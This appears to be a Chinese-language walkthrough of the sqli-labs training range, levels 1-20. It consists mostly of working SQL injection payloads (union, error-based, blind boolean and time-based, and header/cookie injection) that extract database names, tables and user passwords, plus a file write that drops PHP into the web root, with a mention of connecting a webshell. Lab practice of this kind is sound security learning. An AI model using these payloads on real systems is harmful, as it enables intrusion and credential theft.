目录
SQL注入基本语句
Less-1(字符型-闭合 ' )
Less-2(数字型)
Less-3(字符型-闭合 ') )
Less-4(字符型-闭合 ") )
Less-5(报错注入-闭合 ' )
Less-6(报错注入-闭合" )
Less-7(文件读写注入)
Less-8(布尔盲注-闭合')
Less-9(时间盲注-闭合')
Less-10(时间盲注-闭合")
Less-11(POST-闭合')
方法1
方法2
Less-12(POST-闭合"))
Less-13(报错注入-闭合'))
Less-14(报错注入-闭合")
Less-15(POST型时间/布尔盲注-闭合')
布尔盲注
时间盲注
Less-16(POST型时间/布尔盲注-闭合"))
Less-17(POST型报错注入-闭合')
Less-18(UA头报错注入-闭合')
Less-19(Referer报错注入-闭合')
Less-20(Cookie报错注入-闭合')
总结
没有这个靶场的小伙伴可以先去github进行下载:https://github.com/Audi-1/sqli-labs
下载完成之后,在浏览器访问就可以看到这样的页面:
点击sqli-labs page-1(Basic Challenges)就可以选择关卡,也可以直接点下面的图来选择关卡
SQL注入基本语句
判断有多少列
order by 4 -- -
判断数据显示点
union select 1,2,3 -- -
显示出登录用户和数据库名
union select 1,user(),database() -- -
查看数据库有哪些表
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 -- -
查看对应表有哪些列
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -
查看账号密码信息
union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 -- -
Less-1(字符型-闭合 ' )
点击Less-1来到第1关
我们先输入一个 id=1 试着看看
可以看到账号和密码,下面开始SQL注入
判断页面是否存在SQL注入是尝试闭合看看是否会页面报错,下面我们就试试:
?id=1' and 1=1 --+
?id=1' and 1=2 --+
可以看到页面报错了,说明是存在SQL注入的,接下来看看数据库有多少列,可以使用下面两种形式来判断:
1、order by
?id=1' order by 3 --+
?id=1' order by 4 --+
2、union select
?id=1' union select 1,2,3 --+
?id=1' union select 1,2,3,4 --+
从上面两种方式都可以判断出数据库是有3列的,然后我们看看页面所显示的 name 和 password 属于数据库中的第几列
?id=-1' union select 1,2,3 --+
从显示结果可以看到,这里的 name 是第2列,password 是第3列。
那么现在就可以从第2列或者第3列查询出数据库名称:
?id=-1' union select 1,database(),3 --+
得到了数据库名 security
利用inforamtion_schema数据库查询出该数据库中所有的表和表中所有的列:
id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 --+
得到了security数据库中所有的表和users表中所有列名
现在知道了数据库名、数据库中所有的表名,表中的所有列名,剩下的就只剩下查找数据了
?id=-1' union select 1,group_concat(concat_ws(0x3a,username,0x3a)),group_concat(concat_ws(0x3a,0x3a,password)) from security.users --+
得到了数据库中的数据就算是成功的注入了,第1关就通关了
Less-2(数字型)
与第一关是大致相同的,这里就直接提供payload
尝试闭合查看是否存在SQL注入
?id=-1'
查看数据库的列数
?id=1 order by 3 --+ //正常
?id=1 order by 4 --+ //报错
查看回显位置
?id=-1 union select 1,2,3 --+
查看数据库名称
?id=-1 union select 1,database(),3 --+
#查看所有数据库名
?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+
查看数据库的所有表名
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
查看表的字段名
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' --+
查看表中数据
?id=-1 union select 1,group_concat(concat_ws(0x7e,username,0x7e)),group_concat(concat_ws(0x7e,0x7e,password)) from security.users --+
Less-3(字符型-闭合 ') )
尝试闭合
?id=1')
发现是 ') 闭合
查看数据库的列数
?id=1') order by 3 --+ //正常
?id=1') order by 4 --+ //报错
查看回显位置
?id=-1') union select 1,2,3 --+
查看数据库名称
?id=-1') union select 1,database(),3 --+
#查看所有数据库名
?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+
查看数据库的所有表名
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
查看表的字段名
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' --+
查看表中数据
?id=-1') union select 1,group_concat(concat_ws(0x7e,username,0x7e)),group_concat(concat_ws(0x7e,0x7e,password)) from security.users --+
Less-4(字符型-闭合 ") )
尝试闭合
发现是 ") 闭合,除了闭合和第二、三关不一样,其他都一样,参考第二关的payload即可
查看数据库名称
?id=-1") union select 1,database(),3 --+
#查看所有数据库名
?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+
查看数据库的所有表名
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
查看表的字段名
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' --+
查看表中数据
?id=-1") union select 1,2,group_concat(username,'-',password) from security.users--+
Less-5(报错注入-闭合 ' )
与前几关不同,需要利用报错注入才能实现SQL注入,这里先介绍一下报错注入的函数
updatexml()、extractvalue()、exp()、floor()、polygon()、multipoint()
1、updatexml:
updatexml函数用于更新XML文档中特定节点的值。它接受三个参数,第一个参数是要更新的XML文档,第二个参数是XPath表达式,用于指定要更新的节点的位置,第三个参数是新的节点值。该函数将返回更新后的XML文档。
2、extractvalue:
extractvalue函数用于从XML文档中提取特定的值。它接受两个参数,第一个参数是要提取值的XML文档,第二个参数是XPath表达式,用于指定要提取的值的位置。该函数将返回符合XPath表达式的节点的值。
3、floor:
floor函数用于向下取整,将一个数值向下取整为最接近的整数。它接受一个参数,即要进行取整操作的数值,返回最接近的小于或等于该数值的整数。例如,floor(3.8)将返回3,floor(4.2)将返回4。
4、exp():指数函数,返回 e 的指定次幂。
5、polygon():用于定义多边形几何形状。
6、multipoint():用于定义多点集合。
判断注入
存在注入,就可以试着判断数据库的列数
?id=1' order by 3 --+
?id=1' order by 4 --+
得到数据库有3列
判断回显位置
无论怎么进行查询,结果都会显示You are in
发现查询的字段多于3个后,页面会报错,这里就可以利用报错注入来进行:
查询数据库名
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
PS: select可以省略掉
?id=1' union select updatexml(1,concat(0x7e,(database()),0x7e),1) --+
查询数据库中的表名
单个查询
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) --+
全部查询
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+
查询users表下的字段内容
?id=1' union select updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1) --+
查询username字段下数据
?id=1' and updatexml(1,concat(0x7e,( select group_concat(username) from users),0x7e),1) --+
查询users表中所有数据
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1)--+
Less-6(报错注入-闭合" )
尝试闭合后发现存在注入,并且也是报错注入
第6关和第5关除了闭合不一样,其他都一样,参考第5关的payload即可
查询数据库名
?id=1" and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+
?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
PS: select可以省略掉
?id=1" union select updatexml(1,concat(0x7e,(database()),0x7e),1) --+
查询数据库表名
id=1" union select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+
查询表下字段名
id=1" union select updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) --+
查询表中数据
id=1" union select updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1) --+
Less-7(文件读写注入)
第7关与前面有点不同,先来试着看是否可以闭合报错
尝试多次发现需要闭合 '))
尝试使用上面的报错注入函数注入一下
id=1')) and updatexml(1,concat(0x7e,databse(),0x7e),3) --+
还是提示有语法错误
输入为id=1时,页面是这样的
这时候应该使用输入输出文件
into outfile 写文件 用法: select 'mysql is very good' into outfile 'test1.txt'
这里想要成功实现需要同时满足三个条件:权限为root、知道网站的绝对路径、secure_file_priv=空
假设这些条件我们都满足那么我们就可以尝试使用这样一种方式来将一个php文件来写入到服务器的目录中
?id=1')) union select 1,'<?phpinfo();?>',3 into outfile 'D:\\App\\Phpstudy2018\\PHPTutorial\\WWW\\aaa.php' --+
Less-8(布尔盲注-闭合')
不断尝试可以使用 ')) 来闭合,但是它却没有报错
如果传入的id为1,则会显示
针对这种的显示,无论是联合查询还是报错注入都无法注入成功的,这里就要使用布尔盲注了,这种页面只会显示成功和错误两个状态的页面,可以通过布尔盲注来不断尝试猜测出数据,并且我们可以使用多种方法来注入: 手工注入和sqlmap工具
利用函数我们可以通过不断的变换范围来观察页面的响应来不断判断,直到判断到最后可以确定到一个值,比如我们可以先使用 length函数 + 二分法来尝试一下
?id=1' and (select length(database())>1) and 1=1 --+ //true
?id=1' and (select length(database())>10) and 1=1 --+ //flase
?id=1' and (select length(database())>5) and 1=1 --+ //true
?id=1' and (select length(database())>6) and 1=1 --+ //true
?id=1' and (select length(database())>8) and 1=1 --+ //flase
通过页面的不同响应页面来判断数据库的长度是否是我们所指定的范围,最终可以得到数据库的名称的长度为7
得到了数据库的长度后,我们就可以再利用ascii函数+substr函数来修改字符串的范围,最终判断数据库的各个字符的ascii的值,最终就可以得到完整的数据库名称,比如:
?id=1' and ((select ascii(substr(database(),1,1)))>100) --+ //true
?id=1' and ((select ascii(substr(database(),1,1)))>200) --+ //flase
...
...
?id=1' and ((select ascii(substr(database(),1,1)))>114) --+ //true
?id=1' and ((select ascii(substr(database(),1,1)))>115) --+ //false
根据七七五十六难后,最后得到了第一个字母的ascii码大于113但是不大于115,因此,它的ascii码就是114,对照ASCII码表,得到第一个字母为 s 。同样的方法,我们可以变化substr()里面的第二个参数分别为2,3,4,5,6,7,最后可以获得接下来的其他七个字母,最终得到“security”
查询数据库的表名
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 --+
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117 --+
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),2,1))=115 --+
不断尝试后可以得到表名:users
查询表中字段名
id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 --+
查询表中数据
id=1' and ascii(substr((select password from security.users limit 0,1),1,1))>100 --+
Burp
由于是布尔注入,也可以使用burp抓包,将其发送到Intruder模块下,将截取字符串位置与ASCII码添加攻击向量,并设置攻击模式为集束炸弹(Cluster bomb);进入Payload标签下设置攻击内容如下并开启爆破攻击
?id=1' and asscii(substr(database(),1,1))>115 --+
爆破字段下的内容
判断username字段的数据的第一个字符的ascii值
?id=1'and (ascii(substr((select username from users limit 0,1),1,1)))=68 --+
通过scaii表可知第一个字符:dump
Less-9(时间盲注-闭合')
第9关无论怎么查询,结果都是不变的, 布尔盲注也无法解决,这时只能使用时间盲注了,时间盲注就是观察页面的页面响应时间来逐个判断出数据库的各个信息
使用时间盲注的方式也有很多,这里用手工注入进行介绍
因为页面不会回显任何正确或者错误的信息,所以我们通过时间来判断是否存在时间盲注根据我们的输入,来延时请求数据,观察请求时间是否存在延长,如果存在就是存在时间盲注,这里会使用if和sleep函数来进行判断
if的语法三元运算符函数:
IF(condition, value_if_true, value_if_false)
condition是一个条件表达式,如果条件成立,则返回value_if_true,否则返回value_if_false。
那么可以利用这一点来进行时间盲注
?id=1' and if(length(database())=5,sleep(5),1)--+ 延时
?id=1' and if(length(database())=10,sleep(5),1)--+ 正常
?id=1' and if(length(database())=7,sleep(5),1)--+ 延时
?id=1' and if(length(database())=8,sleep(5),1)--+ 延正常
>8
>7
可以看到这里可以注入出数据库的长度是7,然后就是使用ascii+sleep来注入出数据库的名称
?id=1'and if(ascii(substr((select database()),1,1))>114,sleep(5),1) --+
?id=1'and if(ascii(substr((select database()),1,1))>115,sleep(5),1) --+
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1) --+
可以看到数据库的第一个字符的ASCII的值为115,对应的是 s ,然后就不断变换,最终得到数据库名为:security,那么现在数据库已经知道了,后面的表名、列名,数据都可以使用同样的方法注入出来了
表名
id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100, 0, sleep(5))--+字段名
id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100, 0, sleep(5))--+字段数据
id=1' and if(ascii(substr((select password from security.users limit 0,1),1,1))>100, 0, sleep(5))--+
Less-10(时间盲注-闭合")
和第9关一样,只是闭合变为"
判断数据库名长度
id=1" and if(length(database())>8, 0, sleep(5)) --+
判断数据库名
id=1" and if(ascii(substr(database(),1,1))>100, 0, sleep(5)) --+
判断数据库中的表名
id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100, 0, sleep(5)) --+
判断字段名
id=1" and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100, 0, sleep(5)) --+
判断数据
id=1" and if(ascii(substr((select password from security.users limit 0,1),1,1))>100, 0, sleep(5)) --+
Less-11(POST-闭合')
输入1',报错了,存在注入
方法1
查询数据库名称
aaa' union select 1,2 #
aaa
输入的用户名和密码属于第1列和第2列
aaa' union select 1,database() #
aaa
可以看到数据库名称是 security
方法2
注释是 # ,与 -- - 是一样的意思
查询数据库名
-admin' union select 1,database()-- -
查询数据库中的表
-admin' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'-- -
查询表中字段名
-admin' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'-- -
查询数据
-admin' union select 1,group_concat(username,'-',password) from security.users-- -
Less-12(POST-闭合"))
第12关也是使用POST传参的方式,只不过闭合是"),payload参考第11关
查询数据库名
-admin") union select 1,database()-- -
查询数据库中的表名
-admin") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'-- -
查询表中的字段名
-admin") union select 1,group_concat(column_name) from information_schema.columns where table_name='users'-- -
查询数据
-admin") union select 1,group_concat(username,'-',password) from security.users-- -
Less-13(报错注入-闭合'))
第13关与前面两关看起来很像,但又有些不同,我们尝试闭合一下 '),可以看到这里报错了,说明存在注入点
如果使用12关的payload来尝试注入会发现页面只会回复一个登录成功,并没有得到想要的数据
所以这里应使用报错注入
查询数据库名
admin') union select updatexml(1,concat(0x7e,(database()),0x7e),1) #
查询数据库中的表名
admin') union select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#
查询表中的字段名
admin') union select updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)#
查询数据
admin') union select updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1)#
Less-14(报错注入-闭合")
与第13关是一样的,只是闭合方式不同,本关要闭合 "
查询数据库名
admin" union select updatexml(1,concat(0x7e,(database()),0x7e),1) #
查询数据库中的表名
admin" union select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#
查询表中的字段名
admin" union select updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)#
查询数据
admin" union select updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1)#
Less-15(POST型时间/布尔盲注-闭合')
尝试了联合查询、报错注入都无法成功注入,那么就像前面那样使用盲注来进行注入了:
这里因为我们是在登录,因此会有一个正确的已知的账号密码,这里就需要使用正确的账号+if判断才能成功的进行盲注:
布尔盲注
查询数据库名
admin' and if(ascii(substr(database(),1,1))>115#
查询数据库的表名
admin' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 #
查询表中字段名
admin' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 #
查询表中数据
admin' and ascii(substr((select password from security.users limit 0,1),1,1))>100 #
时间盲注
判断数据库名长度
admin' and if(length(database())>8, 0, sleep(5)) #
判断数据库名
admin' and if(ascii(substr(database(),1,1))>115, 0, sleep(5)) #
可以看到数据库的第一个字符的ASCII的值为115,对应的是 s ,然后就不断变换,最终得到数据库名为:security,那么现在数据库已经知道了,后面的表名、列名,数据都可以使用同样的方法注入出来了
判断数据库中的表名
admin' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100, 0, sleep(5)) #
判断字段名
admin' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100, 0, sleep(5)) #
判断数据
admin' and if(ascii(substr((select password from security.users limit 0,1),1,1))>100, 0, sleep(5)) #
Less-16(POST型时间/布尔盲注-闭合"))
与15关的注入方式一样,都是使用盲注实现,只是闭合不同,需要使用")来闭合,这里就不再演示
判断数据库名长度
admin") and if(length(database())>8, 0, sleep(5))-- -
判断数据库名
admin") and if(ascii(substr(database(),1,1))>115, 0, sleep(5))-- -
判断数据库中的表名
admin") and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>117, 0, sleep(5))-- -
判断表中的字段名
admin") and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>105, 0, sleep(5))-- -
判断数据
admin") and if(ascii(substr((select password from security.users limit 0,1),1,1))>100, 0, sleep(5))-- -
Less-17(POST型报错注入-闭合')
第17关是比较特殊的一关,从17关开始,后端对我们输入的内容有了一些过滤
输入账户密码之后会显示密码成功更新
尝试闭合
看到报错了,说明存在注入,这里将错误信息显示到了页面,那么我们就可以尝试使用报错注入来注入出数据
admin' and (updatexml(1,concat(0x7e, database(),0x7e),1))#
可以看到得到了数据库名,后面的表名,列名,数据都可以使用这种方式注入
数据库中的表名
admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#
表中的字段名
admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)#
字段中的数据
admin' and updatexml(1,concat(0x7e,(select password from (select password from users where username='admin') mingzi ),0x7e),1)#
Less-18(UA头报错注入-闭合')
这里又是一个新的类型的关卡,从这里到后面的几关都是HTTP头部注入,来到这关后就可以看到这里显示我们的ip地址,我们尝试输入正确的用户名+正确的密码,页面的响应
可以看到这里显示出了user-Agent
输入正确的用户名+错误的密码的响应页面是
既然User-Agent可以显示到页面中,那么我们就可以尝试 输入正确用户密码 抓包然后在User-Agent中进行注入
',1,updatexml(1,concat(0x7e, database(),0x7e),1))#
可以看到使用报错注入成功的注入出了数据库名称
查询数据库中的表名
',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))#
查询表中字段名
',1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1))#
查询表中数据
',1,updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1))#
Less-19(Referer报错注入-闭合')
这一关也是http头部注入,登录成功显示的是Referer信息
登录失败是没有回显信息的
referer可以显示到页面,我们就可以尝试抓包然后在referer中进行报错注入
查询数据库名
',1,updatexml(1,concat(0x7e, database(),0x7e),1))#
查询数据库中的表名
',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))#
查询表中字段名
',1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1))#
查询表中数据
',1,updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1))#
Less-20(Cookie报错注入-闭合')
这一关也是http头部注入的,登录成功之后会显示cookie是我们的用户名
登录失败会显示失败信息
既然cookie可以显示到页面,就可以利用抓包然后修改cookie的值为注入语句来报错注入出数据
查询数据库名
uname=-admin' union select 1,2,database()--+
查询数据库中的表名
uname=-admin' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
查询表中的字段名
uname=-admin' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
查询字段下的数据
uname=-admin' union select 1,2,group_concat(username,'-',password) from security.users--+
总结
Less1-4有回显,用联合查询注入可以显示数据库信息
Less5-6 利用报错注入,将数据库信息显示出来
Less7直接写入一句话木马,用菜刀或蚁剑连接
Less8-10 布尔/时间盲注,需要逐个字符猜解,结合burpsuite暴力破解更方便
Less11-17 POST型注入,在用户名或密码后面拼接注入语句
Less18-20 POST头部报错注入,在相应的头部信息后面拼接注入语句